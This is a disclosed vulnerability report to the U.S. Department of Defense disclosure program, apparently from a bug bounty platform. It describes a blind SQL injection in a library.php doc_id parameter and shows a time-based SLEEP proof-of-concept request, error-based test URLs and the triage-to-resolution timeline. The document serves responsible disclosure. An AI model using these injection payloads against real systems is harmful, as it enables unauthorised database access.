16

SQL injection on the https://[redacted]/

Share:

State ○ Resolved (Closed)

Disclosed **October 4, 2019 8:49pm +0530**

Reported To **U.S. Dept Of Defense**

Weakness SQL Injection

Severity High (7 ~ 8.9)

Participants

Visibility Disclosed (Full)

Collapse

TIMELINE · EXPORT

sp1d3rs submitted a report to U.S. Dept Of Defense. Jan 31st (8 months ago)

Description

Hello. I was able to find Blind SQL injection on the https://[redacted]/
Database appears to be MySQL 5.

POC

```
GET /library.php?path=test&doc_id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(1)))WUeh) HTTP/1.1
Host: [redacted]
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safa
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en,ru;q=0.9,en-US;q=0.8,uk;q=0.7
Cookie: _ga=GA1.2.1697249984.1548431559
```

By issuing sleep(0) response will be delayed to 0 seconds.
By issuing sleep(1) response will be delayed to 5 seconds.
By issuing sleep(2) response will be delayed to 10 seconds.
By issuing sleep(5) response will be delayed to 25 seconds.

As POC, I retrieved count of databases (3). No other information was accessed (such as tables or data):

Apparently, SQL statement is executing 5 times on the database side, because response time always 5 times bigger than supplied sleep value.

Impact

SQL injection usually have high-critical impact.

BOT: U.S. Dept Of Defense posted a comment. Jan 31st (8 months ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

sp1d3rs posted a comment. Updated Sep 24th (17 days ago)

Currently DB hangs and can timeout queries.
If POC above won't be reproducible due to the request timeout, here is error-based tests:
1) https://[redacted]/library.php?path=test&doc_id=1%20or1 (error in the query - missing space after `or`)

```
HTTP/1.1 500 Internal Server Error
Date: Wed, 30 Jan 2019 20:39:26 GMT
Server: Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.26 OpenSSL/1.0.1f
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Content-Length: 92
Connection: close
Content-Type: text/html;charset=UTF-8

<html><body><b>Error 500: Internal Server Error</b><br>doc_id 1 or1 not found.</body></html>
```

2) https://[redacted]/library.php?path=test&doc_id=1%20or%201=2 (request hang)

For some reason it worked some time ago without hang, and I was able to retrieve data.

ag3nt-z3 updated the severity to High. Feb 1st (8 months ago)

ag3nt-z3 changed the status to ○ **Triaged**. Feb 1st (8 months ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

deez_nops closed the report and changed the status to ○ **Resolved**. May 3rd (5 months ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

sp1d3rs requested to disclose this report. May 4th (5 months ago)

ag3nt-j1 agreed to disclose this report. Oct 4th (7 days ago)

This report has been disclosed. Oct 4th (7 days ago)

U.S. Dept Of Defense has locked this report. Oct 4th (7 days ago)